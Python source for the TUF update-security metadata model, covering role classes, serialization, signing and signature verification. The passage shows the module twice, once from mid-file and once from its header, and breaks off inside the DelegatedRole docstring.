class Key: """A container class representing the public portion of a Key. Attributes: keytype: A string denoting a public key signature system, such as "rsa", "ed25519", and "ecdsa-sha2-nistp256". scheme: A string denoting a corresponding signature scheme. For example: "rsassa-pss-sha256", "ed25519", and "ecdsa-sha2-nistp256". keyval: A dictionary containing the public portion of the key. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keytype: str, scheme: str, keyval: Dict[str, str], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: if not keyval.get("public"): raise ValueError("keyval doesn't follow the specification format!") self.keytype = keytype self.scheme = scheme self.keyval = keyval self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, key_dict: Dict[str, Any]) -> "Key": """Creates Key object from its dict representation.""" keytype = key_dict.pop("keytype") scheme = key_dict.pop("scheme") keyval = key_dict.pop("keyval") # All fields left in the key_dict are unrecognized. return cls(keytype, scheme, keyval, key_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" return { "keytype": self.keytype, "scheme": self.scheme, "keyval": self.keyval, **self.unrecognized_fields, } class Role: """A container class containing the set of keyids and threshold associated with a particular role. Attributes: keyids: A set of strings each of which represents a given key. threshold: An integer representing the required number of keys for that particular role. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keyids: List[str], threshold: int, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: keyids_set = set(keyids) if len(keyids_set) != len(keyids): raise ValueError( f"keyids should be a list of unique strings," f" instead got {keyids}" ) self.keyids = keyids_set self.threshold = threshold self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, role_dict: Dict[str, Any]) -> "Role": """Creates Role object from its dict representation.""" keyids = role_dict.pop("keyids") threshold = role_dict.pop("threshold") # All fields left in the role_dict are unrecognized. return cls(keyids, threshold, role_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" return { "keyids": list(self.keyids), "threshold": self.threshold, **self.unrecognized_fields, } class Root(Signed): """A container for the signed part of root metadata. Attributes: consistent_snapshot: An optional boolean indicating whether the repository supports consistent snapshots. keys: A dictionary that contains a public key store used to verify top level roles metadata signatures:: { '<KEYID>': <Key instance>, ... }, roles: A dictionary that contains a list of signing keyids and a signature threshold for each top level role:: { '<ROLE>': <Role istance>, ... } """ _signed_type = "root" # TODO: determine an appropriate value for max-args and fix places where # we violate that. This __init__ function takes 7 arguments, whereas the # default max-args value for pylint is 5 # pylint: disable=too-many-arguments def __init__( self, version: int, spec_version: str, expires: datetime, keys: Dict[str, Key], roles: Dict[str, Role], consistent_snapshot: Optional[bool] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.consistent_snapshot = consistent_snapshot self.keys = keys self.roles = roles @classmethod def from_dict(cls, root_dict: Dict[str, Any]) -> "Root": """Creates Root object from its dict representation.""" common_args = cls._common_fields_from_dict(root_dict) consistent_snapshot = root_dict.pop("consistent_snapshot", None) keys = root_dict.pop("keys") roles = root_dict.pop("roles") for keyid, key_dict in keys.items(): keys[keyid] = Key.from_dict(key_dict) for role_name, role_dict in roles.items(): roles[role_name] = Role.from_dict(role_dict) # All fields left in the root_dict are unrecognized. return cls(*common_args, keys, roles, consistent_snapshot, root_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" root_dict = self._common_fields_to_dict() keys = {keyid: key.to_dict() for (keyid, key) in self.keys.items()} roles = {} for role_name, role in self.roles.items(): roles[role_name] = role.to_dict() if self.consistent_snapshot is not None: root_dict["consistent_snapshot"] = self.consistent_snapshot root_dict.update( { "keys": keys, "roles": roles, } ) return root_dict # Update key for a role. def add_key(self, role: str, keyid: str, key_metadata: Key) -> None: """Adds new key for 'role' and updates the key store.""" self.roles[role].keyids.add(keyid) self.keys[keyid] = key_metadata def remove_key(self, role: str, keyid: str) -> None: """Removes key from 'role' and updates the key store. Raises: KeyError: If 'role' does not include the key """ self.roles[role].keyids.remove(keyid) for keyinfo in self.roles.values(): if keyid in keyinfo.keyids: return del self.keys[keyid] class MetaFile: """A container with information about a particular metadata file. Attributes: version: An integer indicating the version of the metadata file. length: An optional integer indicating the length of the metadata file. hashes: An optional dictionary mapping hash algorithms to the hashes resulting from applying them over the metadata file contents.:: 'hashes': { '<HASH ALGO 1>': '<METADATA FILE HASH 1>', '<HASH ALGO 2>': '<METADATA FILE HASH 2>', ... } unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, version: int, length: Optional[int] = None, hashes: Optional[Dict[str, str]] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.version = version self.length = length self.hashes = hashes self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, meta_dict: Dict[str, Any]) -> "MetaFile": """Creates MetaFile object from its dict representation.""" version = meta_dict.pop("version") length = meta_dict.pop("length", None) hashes = meta_dict.pop("hashes", None) # All fields left in the meta_dict are unrecognized. return cls(version, length, hashes, meta_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" res_dict = {"version": self.version, **self.unrecognized_fields} if self.length is not None: res_dict["length"] = self.length if self.hashes is not None: res_dict["hashes"] = self.hashes return res_dict class Timestamp(Signed): """A container for the signed part of timestamp metadata. Attributes: meta: A dictionary that contains information about snapshot metadata:: { 'snapshot.json': <MetaFile INSTANCE> } """ _signed_type = "timestamp" def __init__( self, version: int, spec_version: str, expires: datetime, meta: Dict[str, MetaFile], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.meta = meta @classmethod def from_dict(cls, timestamp_dict: Dict[str, Any]) -> "Timestamp": """Creates Timestamp object from its dict representation.""" common_args = cls._common_fields_from_dict(timestamp_dict) meta_dict = timestamp_dict.pop("meta") meta = {"snapshot.json": MetaFile.from_dict(meta_dict["snapshot.json"])} # All fields left in the timestamp_dict are unrecognized. return cls(*common_args, meta, timestamp_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" res_dict = self._common_fields_to_dict() res_dict["meta"] = { "snapshot.json": self.meta["snapshot.json"].to_dict() } return res_dict # Modification. def update(self, snapshot_meta: MetaFile) -> None: """Assigns passed info about snapshot metadata to meta dict.""" self.meta["snapshot.json"] = snapshot_meta class Snapshot(Signed): """A container for the signed part of snapshot metadata. Attributes: meta: A dictionary that contains information about targets metadata:: { 'targets.json': <MetaFile INSTANCE>, '<DELEGATED TARGETS ROLE 1>.json': <MetaFile INSTANCE>, '<DELEGATED TARGETS ROLE 2>.json': <MetaFile INSTANCE>, } """ _signed_type = "snapshot" def __init__( self, version: int, spec_version: str, expires: datetime, meta: Dict[str, MetaFile], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.meta = meta @classmethod def from_dict(cls, snapshot_dict: Dict[str, Any]) -> "Snapshot": """Creates Snapshot object from its dict representation.""" common_args = cls._common_fields_from_dict(snapshot_dict) meta_dicts = snapshot_dict.pop("meta") meta = {} for meta_path, meta_dict in meta_dicts.items(): meta[meta_path] = MetaFile.from_dict(meta_dict) # All fields left in the snapshot_dict are unrecognized. return cls(*common_args, meta, snapshot_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" snapshot_dict = self._common_fields_to_dict() meta_dict = {} for meta_path, meta_info in self.meta.items(): meta_dict[meta_path] = meta_info.to_dict() snapshot_dict["meta"] = meta_dict return snapshot_dict # Modification. def update(self, rolename: str, role_info: MetaFile) -> None: """Assigns passed (delegated) targets role info to meta dict.""" metadata_fn = f"{rolename}.json" self.meta[metadata_fn] = role_info class DelegatedRole(Role): """A container with information about particular delegated role. Attributes: name: A string giving the name of the delegated role. keyids: A set of strings each of which represents a given key. threshold: An integer representing the required number of keys for that particular role. terminating: A boolean indicating whether subsequent delegations should be considered. paths: An optional list of strings, where each string describes a path that the role is trusted to provide. path_hash_prefixes: An optional list of HEX_DIGESTs used to succinctly describe a set of target paths. Only one of the attributes "paths" and "path_hash_prefixes" is allowed to be set. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, name: str, keyids: List[str], threshold: int, terminating: bool, paths: Optional[List[str]] = None, path_hash_prefixes: Optional[List[str]] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(keyids, threshold, unrecognized_fields) self.name = name self.terminating = terminating if paths is not None and path_hash_prefixes is not None: raise ValueError( "Only one of the attributes 'paths' and" "'path_hash_prefixes' can be set!" ) self.paths = paths self.path_hash_prefixes = path_hash_prefixes @classmethod def from_dict(cls, role_dict: Mapping[str, Any]) -> "Role": """Creates DelegatedRole object from its dict representation.""" name = role_dict.pop("name") keyids = role_dict.pop("keyids") threshold = role_dict.pop("threshold") terminating = role_dict.pop("terminating") paths = role_dict.pop("paths", None) path_hash_prefixes = role_dict.pop("path_hash_prefixes", None) # All fields left in the role_dict are unrecognized. return cls( name, keyids, threshold, terminating, paths, path_hash_prefixes, role_dict, ) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" base_role_dict = super().to_dict() res_dict = { "name": self.name, "terminating": self.terminating, **base_role_dict, } if self.paths is not None: res_dict["paths"] = self.paths elif self.path_hash_prefixes is not None: res_dict["path_hash_prefixes"] = self.path_hash_prefixes return res_dict class Delegations: """A container object storing information about all delegations. Attributes: keys: A dictionary of keyids and key objects containing information about the corresponding key. roles: A list of DelegatedRole instances containing information about all delegated roles. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keys: Mapping[str, Key], roles: List[DelegatedRole], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.keys = keys self.roles = roles self.unrecognized_fields = unrecognized_fields or {} @classmethod def from_dict(cls, delegations_dict: Dict[str, Any]) -> "Delegations": """Creates Delegations object from its dict representation.""" keys = delegations_dict.pop("keys") keys_res = {} for keyid, key_dict in keys.items(): keys_res[keyid] = Key.from_dict(key_dict) roles = delegations_dict.pop("roles") roles_res = [] for role_dict in roles: new_role = DelegatedRole.from_dict(role_dict) roles_res.append(new_role) # All fields left in the delegations_dict are unrecognized. return cls(keys_res, roles_res, delegations_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" keys = {keyid: key.to_dict() for keyid, key in self.keys.items()} roles = [role_obj.to_dict() for role_obj in self.roles] return { "keys": keys, "roles": roles, **self.unrecognized_fields, } class TargetFile: """A container with information about a particular target file. Attributes: length: An integer indicating the length of the target file. hashes: A dictionary mapping hash algorithms to the hashes resulting from applying them over the metadata file contents:: 'hashes': { '<HASH ALGO 1>': '<TARGET FILE HASH 1>', '<HASH ALGO 2>': '<TARGET FILE HASH 2>', ... } unrecognized_fields: Dictionary of all unrecognized fields. """ @property def custom(self): if self.unrecognized_fields is None: return None return self.unrecognized_fields.get("custom", None) def __init__( self, length: int, hashes: Dict[str, str], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.length = length self.hashes = hashes self.unrecognized_fields = unrecognized_fields or {} @classmethod def from_dict(cls, target_dict: Dict[str, Any]) -> "TargetFile": """Creates TargetFile object from its dict representation.""" length = target_dict.pop("length") hashes = target_dict.pop("hashes") # All fields left in the target_dict are unrecognized. return cls(length, hashes, target_dict) def to_dict(self) -> Dict[str, Any]: """Returns the JSON-serializable dictionary representation of self.""" return { "length": self.length, "hashes": self.hashes, **self.unrecognized_fields, } class Targets(Signed): """A container for the signed part of targets metadata. Attributes: targets: A dictionary that contains information about target files:: { '<TARGET FILE NAME>': <TargetFile INSTANCE>, ... } delegations: An optional object containing a list of delegated target roles and public key store used to verify their metadata signatures. """ _signed_type = "targets" # TODO: determine an appropriate value for max-args and fix places where # we violate that. This __init__ function takes 7 arguments, whereas the # default max-args value for pylint is 5 # pylint: disable=too-many-arguments def __init__( self, version: int, spec_version: str, expires: datetime, targets: Dict[str, TargetFile], delegations: Optional[Delegations] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.targets = targets self.delegations = delegations @classmethod def from_dict(cls, targets_dict: Dict[str, Any]) -> "Targets": """Creates Targets object from its dict representation.""" common_args = cls._common_fields_from_dict(targets_dict) targets = targets_dict.pop("targets") try: delegations_dict = targets_dict.pop("delegations") except KeyError: delegations = None else: delegations = Delegations.from_dict(delegations_dict) res_targets = {} for target_path, target_info in targets.items(): res_targets[target_path] = TargetFile.from_dict(target_info) # All fields left in the targets_dict are unrecognized. return cls(*common_args, res_targets, delegations, targets_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" targets_dict = self._common_fields_to_dict() targets = {} for target_path, target_file_obj in self.targets.items(): targets[target_path] = target_file_obj.to_dict() targets_dict["targets"] = targets if self.delegations is not None: targets_dict["delegations"] = self.delegations.to_dict() return targets_dict # Modification. def update(self, filename: str, fileinfo: TargetFile) -> None: """Assigns passed target file info to meta dict.""" self.targets[filename] = fileinfo
# Copyright New York University and the TUF contributors # SPDX-License-Identifier: MIT OR Apache-2.0 """TUF role metadata model. This module provides container classes for TUF role metadata, including methods to read and write from and to file, perform TUF-compliant metadata updates, and create and verify signatures. The metadata model supports any custom serialization format, defaulting to JSON as wireline format and Canonical JSON for reproducible signature creation and verification. Custom serializers must implement the abstract serialization interface defined in 'tuf.api.serialization', and may use the [to|from]_dict convenience methods available in the class model. """ import tempfile from datetime import datetime, timedelta from typing import Any, Dict, List, Mapping, Optional from securesystemslib.keys import verify_signature from securesystemslib.signer import Signature, Signer from securesystemslib.storage import FilesystemBackend, StorageBackendInterface from securesystemslib.util import persist_temp_file from tuf import exceptions, formats from tuf.api.serialization import ( MetadataDeserializer, MetadataSerializer, SignedSerializer, ) # Disable the "C0302: Too many lines in module" warning which warns for modules # with more 1000 lines, because all of the code here is logically connected # and currently, we are above 1000 lines by a small margin. # pylint: disable=C0302 class Metadata: """A container for signed TUF metadata. Provides methods to convert to and from dictionary, read and write to and from file and to create and verify metadata signatures. Attributes: signed: A subclass of Signed, which has the actual metadata payload, i.e. one of Targets, Snapshot, Timestamp or Root. signatures: A list of Securesystemslib Signature objects, each signing the canonical serialized representation of 'signed'. """ def __init__(self, signed: "Signed", signatures: List[Signature]) -> None: self.signed = signed self.signatures = signatures @classmethod def from_dict(cls, metadata: Dict[str, Any]) -> "Metadata": """Creates Metadata object from its dict representation. Arguments: metadata: TUF metadata in dict representation. Raises: KeyError: The metadata dict format is invalid. ValueError: The metadata has an unrecognized signed._type field. Side Effect: Destroys the metadata dict passed by reference. Returns: A TUF Metadata object. """ # Dispatch to contained metadata class on metadata _type field. _type = metadata["signed"]["_type"] if _type == "targets": inner_cls = Targets elif _type == "snapshot": inner_cls = Snapshot elif _type == "timestamp": inner_cls = Timestamp elif _type == "root": inner_cls = Root else: raise ValueError(f'unrecognized metadata type "{_type}"') signatures = [] for signature in metadata.pop("signatures"): signature_obj = Signature.from_dict(signature) signatures.append(signature_obj) return cls( signed=inner_cls.from_dict(metadata.pop("signed")), signatures=signatures, ) @classmethod def from_file( cls, filename: str, deserializer: Optional[MetadataDeserializer] = None, storage_backend: Optional[StorageBackendInterface] = None, ) -> "Metadata": """Loads TUF metadata from file storage. Arguments: filename: The path to read the file from. deserializer: A MetadataDeserializer subclass instance that implements the desired wireline format deserialization. Per default a JSONDeserializer is used. storage_backend: An object that implements securesystemslib.storage.StorageBackendInterface. Per default a (local) FilesystemBackend is used. Raises: securesystemslib.exceptions.StorageError: The file cannot be read. tuf.api.serialization.DeserializationError: The file cannot be deserialized. Returns: A TUF Metadata object. """ if storage_backend is None: storage_backend = FilesystemBackend() with storage_backend.get(filename) as file_obj: return cls.from_bytes(file_obj.read(), deserializer) @staticmethod def from_bytes( data: bytes, deserializer: Optional[MetadataDeserializer] = None, ) -> "Metadata": """Loads TUF metadata from raw data. Arguments: data: metadata content as bytes. deserializer: Optional; A MetadataDeserializer instance that implements deserialization. Default is JSONDeserializer. Raises: tuf.api.serialization.DeserializationError: The file cannot be deserialized. Returns: A TUF Metadata object. """ if deserializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import JSONDeserializer deserializer = JSONDeserializer() return deserializer.deserialize(data) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" signatures = [] for sig in self.signatures: signatures.append(sig.to_dict()) return {"signatures": signatures, "signed": self.signed.to_dict()} def to_file( self, filename: str, serializer: Optional[MetadataSerializer] = None, storage_backend: Optional[StorageBackendInterface] = None, ) -> None: """Writes TUF metadata to file storage. Arguments: filename: The path to write the file to. serializer: A MetadataSerializer subclass instance that implements the desired wireline format serialization. Per default a JSONSerializer is used. storage_backend: An object that implements securesystemslib.storage.StorageBackendInterface. Per default a (local) FilesystemBackend is used. Raises: tuf.api.serialization.SerializationError: The metadata object cannot be serialized. securesystemslib.exceptions.StorageError: The file cannot be written. """ if serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import JSONSerializer serializer = JSONSerializer(compact=True) with tempfile.TemporaryFile() as temp_file: temp_file.write(serializer.serialize(self)) persist_temp_file(temp_file, filename, storage_backend) # Signatures. def sign( self, signer: Signer, append: bool = False, signed_serializer: Optional[SignedSerializer] = None, ) -> Dict[str, Any]: """Creates signature over 'signed' and assigns it to 'signatures'. Arguments: signer: An object implementing the securesystemslib.signer.Signer interface. append: A boolean indicating if the signature should be appended to the list of signatures or replace any existing signatures. The default behavior is to replace signatures. signed_serializer: A SignedSerializer subclass instance that implements the desired canonicalization format. Per default a CanonicalJSONSerializer is used. Raises: tuf.api.serialization.SerializationError: 'signed' cannot be serialized. securesystemslib.exceptions.CryptoError, \ securesystemslib.exceptions.UnsupportedAlgorithmError: Signing errors. Returns: A securesystemslib-style signature object. """ if signed_serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import CanonicalJSONSerializer signed_serializer = CanonicalJSONSerializer() signature = signer.sign(signed_serializer.serialize(self.signed)) if append: self.signatures.append(signature) else: self.signatures = [signature] return signature def verify( self, key: Mapping[str, Any], signed_serializer: Optional[SignedSerializer] = None, ) -> bool: """Verifies 'signatures' over 'signed' that match the passed key by id. Arguments: key: A securesystemslib-style public key object. signed_serializer: A SignedSerializer subclass instance that implements the desired canonicalization format. Per default a CanonicalJSONSerializer is used. Raises: # TODO: Revise exception taxonomy tuf.exceptions.Error: None or multiple signatures found for key. securesystemslib.exceptions.FormatError: Key argument is malformed. tuf.api.serialization.SerializationError: 'signed' cannot be serialized. securesystemslib.exceptions.CryptoError, \ securesystemslib.exceptions.UnsupportedAlgorithmError: Signing errors. Returns: A boolean indicating if the signature is valid for the passed key. """ signatures_for_keyid = list( filter(lambda sig: sig.keyid == key["keyid"], self.signatures) ) if not signatures_for_keyid: raise exceptions.Error(f"no signature for key {key['keyid']}.") if len(signatures_for_keyid) > 1: raise exceptions.Error( f"{len(signatures_for_keyid)} signatures for key " f"{key['keyid']}, not sure which one to verify." ) if signed_serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import CanonicalJSONSerializer signed_serializer = CanonicalJSONSerializer() return verify_signature( key, signatures_for_keyid[0].to_dict(), signed_serializer.serialize(self.signed), ) class Signed: """A base class for the signed part of TUF metadata. Objects with base class Signed are usually included in a Metadata object on the signed attribute. This class provides attributes and methods that are common for all TUF metadata types (roles). Attributes: _type: The metadata type string. Also available without underscore. version: The metadata version number. spec_version: The TUF specification version number (semver) the metadata format adheres to. expires: The metadata expiration datetime object. unrecognized_fields: Dictionary of all unrecognized fields. """ # Signed implementations are expected to override this _signed_type = None # _type and type are identical: 1st replicates file format, 2nd passes lint @property def _type(self): return self._signed_type @property def type(self): return self._signed_type # NOTE: Signed is a stupid name, because this might not be signed yet, but # we keep it to match spec terminology (I often refer to this as "payload", # or "inner metadata") def __init__( self, version: int, spec_version: str, expires: datetime, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.spec_version = spec_version self.expires = expires # TODO: Should we separate data validation from constructor? if version <= 0: raise ValueError(f"version must be > 0, got {version}") self.version = version self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def _common_fields_from_dict(cls, signed_dict: Dict[str, Any]) -> List[Any]: """Returns common fields of 'Signed' instances from the passed dict representation, and returns an ordered list to be passed as leading positional arguments to a subclass constructor. See '{Root, Timestamp, Snapshot, Targets}.from_dict' methods for usage. """ _type = signed_dict.pop("_type") if _type != cls._signed_type: raise ValueError(f"Expected type {cls._signed_type}, got {_type}") version = signed_dict.pop("version") spec_version = signed_dict.pop("spec_version") expires_str = signed_dict.pop("expires") # Convert 'expires' TUF metadata string to a datetime object, which is # what the constructor expects and what we store. The inverse operation # is implemented in '_common_fields_to_dict'. expires = formats.expiry_string_to_datetime(expires_str) return [version, spec_version, expires] def _common_fields_to_dict(self) -> Dict[str, Any]: """Returns dict representation of common fields of 'Signed' instances. See '{Root, Timestamp, Snapshot, Targets}.to_dict' methods for usage. """ return { "_type": self._type, "version": self.version, "spec_version": self.spec_version, "expires": self.expires.isoformat() + "Z", **self.unrecognized_fields, } def is_expired(self, reference_time: datetime = None) -> bool: """Checks metadata expiration against a reference time. Args: reference_time: Optional; The time to check expiration date against. A naive datetime in UTC expected. If not provided, checks against the current UTC date and time. Returns: True if expiration time is less than the reference time. """ if reference_time is None: reference_time = datetime.utcnow() return reference_time >= self.expires # Modification. def bump_expiration(self, delta: timedelta = timedelta(days=1)) -> None: """Increments the expires attribute by the passed timedelta.""" self.expires += delta def bump_version(self) -> None: """Increments the metadata version number by 1.""" self.version += 1 class Key: """A container class representing the public portion of a Key. Attributes: keytype: A string denoting a public key signature system, such as "rsa", "ed25519", and "ecdsa-sha2-nistp256". scheme: A string denoting a corresponding signature scheme. For example: "rsassa-pss-sha256", "ed25519", and "ecdsa-sha2-nistp256". keyval: A dictionary containing the public portion of the key. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keytype: str, scheme: str, keyval: Dict[str, str], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: if not keyval.get("public"): raise ValueError("keyval doesn't follow the specification format!") self.keytype = keytype self.scheme = scheme self.keyval = keyval self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, key_dict: Dict[str, Any]) -> "Key": """Creates Key object from its dict representation.""" keytype = key_dict.pop("keytype") scheme = key_dict.pop("scheme") keyval = key_dict.pop("keyval") # All fields left in the key_dict are unrecognized. return cls(keytype, scheme, keyval, key_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" return { "keytype": self.keytype, "scheme": self.scheme, "keyval": self.keyval, **self.unrecognized_fields, } class Role: """A container class containing the set of keyids and threshold associated with a particular role. Attributes: keyids: A set of strings each of which represents a given key. threshold: An integer representing the required number of keys for that particular role. unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, keyids: List[str], threshold: int, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: keyids_set = set(keyids) if len(keyids_set) != len(keyids): raise ValueError( f"keyids should be a list of unique strings," f" instead got {keyids}" ) self.keyids = keyids_set self.threshold = threshold self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, role_dict: Dict[str, Any]) -> "Role": """Creates Role object from its dict representation.""" keyids = role_dict.pop("keyids") threshold = role_dict.pop("threshold") # All fields left in the role_dict are unrecognized. return cls(keyids, threshold, role_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" return { "keyids": list(self.keyids), "threshold": self.threshold, **self.unrecognized_fields, } class Root(Signed): """A container for the signed part of root metadata. Attributes: consistent_snapshot: An optional boolean indicating whether the repository supports consistent snapshots. keys: A dictionary that contains a public key store used to verify top level roles metadata signatures:: { '<KEYID>': <Key instance>, ... }, roles: A dictionary that contains a list of signing keyids and a signature threshold for each top level role:: { '<ROLE>': <Role istance>, ... } """ _signed_type = "root" # TODO: determine an appropriate value for max-args and fix places where # we violate that. This __init__ function takes 7 arguments, whereas the # default max-args value for pylint is 5 # pylint: disable=too-many-arguments def __init__( self, version: int, spec_version: str, expires: datetime, keys: Dict[str, Key], roles: Dict[str, Role], consistent_snapshot: Optional[bool] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.consistent_snapshot = consistent_snapshot self.keys = keys self.roles = roles @classmethod def from_dict(cls, root_dict: Dict[str, Any]) -> "Root": """Creates Root object from its dict representation.""" common_args = cls._common_fields_from_dict(root_dict) consistent_snapshot = root_dict.pop("consistent_snapshot", None) keys = root_dict.pop("keys") roles = root_dict.pop("roles") for keyid, key_dict in keys.items(): keys[keyid] = Key.from_dict(key_dict) for role_name, role_dict in roles.items(): roles[role_name] = Role.from_dict(role_dict) # All fields left in the root_dict are unrecognized. return cls(*common_args, keys, roles, consistent_snapshot, root_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" root_dict = self._common_fields_to_dict() keys = {keyid: key.to_dict() for (keyid, key) in self.keys.items()} roles = {} for role_name, role in self.roles.items(): roles[role_name] = role.to_dict() if self.consistent_snapshot is not None: root_dict["consistent_snapshot"] = self.consistent_snapshot root_dict.update( { "keys": keys, "roles": roles, } ) return root_dict # Update key for a role. def add_key(self, role: str, keyid: str, key_metadata: Key) -> None: """Adds new key for 'role' and updates the key store.""" self.roles[role].keyids.add(keyid) self.keys[keyid] = key_metadata def remove_key(self, role: str, keyid: str) -> None: """Removes key from 'role' and updates the key store. Raises: KeyError: If 'role' does not include the key """ self.roles[role].keyids.remove(keyid) for keyinfo in self.roles.values(): if keyid in keyinfo.keyids: return del self.keys[keyid] class MetaFile: """A container with information about a particular metadata file. Attributes: version: An integer indicating the version of the metadata file. length: An optional integer indicating the length of the metadata file. hashes: An optional dictionary mapping hash algorithms to the hashes resulting from applying them over the metadata file contents.:: 'hashes': { '<HASH ALGO 1>': '<METADATA FILE HASH 1>', '<HASH ALGO 2>': '<METADATA FILE HASH 2>', ... } unrecognized_fields: Dictionary of all unrecognized fields. """ def __init__( self, version: int, length: Optional[int] = None, hashes: Optional[Dict[str, str]] = None, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.version = version self.length = length self.hashes = hashes self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def from_dict(cls, meta_dict: Dict[str, Any]) -> "MetaFile": """Creates MetaFile object from its dict representation.""" version = meta_dict.pop("version") length = meta_dict.pop("length", None) hashes = meta_dict.pop("hashes", None) # All fields left in the meta_dict are unrecognized. return cls(version, length, hashes, meta_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dictionary representation of self.""" res_dict = {"version": self.version, **self.unrecognized_fields} if self.length is not None: res_dict["length"] = self.length if self.hashes is not None: res_dict["hashes"] = self.hashes return res_dict class Timestamp(Signed): """A container for the signed part of timestamp metadata. Attributes: meta: A dictionary that contains information about snapshot metadata:: { 'snapshot.json': <MetaFile INSTANCE> } """ _signed_type = "timestamp" def __init__( self, version: int, spec_version: str, expires: datetime, meta: Dict[str, MetaFile], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.meta = meta @classmethod def from_dict(cls, timestamp_dict: Dict[str, Any]) -> "Timestamp": """Creates Timestamp object from its dict representation.""" common_args = cls._common_fields_from_dict(timestamp_dict) meta_dict = timestamp_dict.pop("meta") meta = {"snapshot.json": MetaFile.from_dict(meta_dict["snapshot.json"])} # All fields left in the timestamp_dict are unrecognized. return cls(*common_args, meta, timestamp_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" res_dict = self._common_fields_to_dict() res_dict["meta"] = { "snapshot.json": self.meta["snapshot.json"].to_dict() } return res_dict # Modification. def update(self, snapshot_meta: MetaFile) -> None: """Assigns passed info about snapshot metadata to meta dict.""" self.meta["snapshot.json"] = snapshot_meta class Snapshot(Signed): """A container for the signed part of snapshot metadata. Attributes: meta: A dictionary that contains information about targets metadata:: { 'targets.json': <MetaFile INSTANCE>, '<DELEGATED TARGETS ROLE 1>.json': <MetaFile INSTANCE>, '<DELEGATED TARGETS ROLE 2>.json': <MetaFile INSTANCE>, } """ _signed_type = "snapshot" def __init__( self, version: int, spec_version: str, expires: datetime, meta: Dict[str, MetaFile], unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: super().__init__(version, spec_version, expires, unrecognized_fields) self.meta = meta @classmethod def from_dict(cls, snapshot_dict: Dict[str, Any]) -> "Snapshot": """Creates Snapshot object from its dict representation.""" common_args = cls._common_fields_from_dict(snapshot_dict) meta_dicts = snapshot_dict.pop("meta") meta = {} for meta_path, meta_dict in meta_dicts.items(): meta[meta_path] = MetaFile.from_dict(meta_dict) # All fields left in the snapshot_dict are unrecognized. return cls(*common_args, meta, snapshot_dict) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" snapshot_dict = self._common_fields_to_dict() meta_dict = {} for meta_path, meta_info in self.meta.items(): meta_dict[meta_path] = meta_info.to_dict() snapshot_dict["meta"] = meta_dict return snapshot_dict # Modification. def update(self, rolename: str, role_info: MetaFile) -> None: """Assigns passed (delegated) targets role info to meta dict.""" metadata_fn = f"{rolename}.json" self.meta[metadata_fn] = role_info class DelegatedRole(Role): """A container with information about particular delegated role. Attributes: name: A string giving the name of the delegated role. keyids: A set of strings each of which represents a given key. threshold: An integer representing the required number of keys for that particular role. terminating: A boolean indicating whether subsequent delegations should be considered. paths: An optional list of strings, where each string describes a path that the role is trusted to provide. path_hash_prefixes: An optional list of HEX_DIGESTs used to succinctly 